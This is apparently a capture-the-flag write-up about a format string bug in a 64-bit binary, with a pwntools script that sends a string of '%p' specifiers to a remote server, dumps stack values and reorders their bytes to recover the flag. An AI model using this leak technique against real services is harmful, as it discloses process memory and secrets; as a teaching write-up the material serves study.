This is a format string bug. There's ASLR enabled and it's a 64-bit binary, as can be observed by sending a few %p values a few times. As it turns out, they have put the flag on the stack, so dumping a bunch of stack values results in the flag being disclosed, and all we have to do is put it in the right byte order.~~~from pwn import *import stringdef try_readline(conn):   while True:      try:         line = conn.readline()         return line      except EOFError:         continuedef make_ascii_hex_decodable(s):   if len(s) % 2 == 1:      return '0' + s   else:      return sr = remote('<span>91.231.84.36', 9001)try_readline(r) # wanna see?r.writeline('%p' * 100)try_readline(r) # ok, so...memory_dump = try_readline(r)memory_dump = string.replace(memory_dump, '(nil)', '')memory_dump = memory_dump.split('0x')memory_dump = map(make_ascii_hex_decodable, memory_dump)print ''.join( [pointer.decode('hex')[::-1] for pointer in memory_dump] )~~~</span>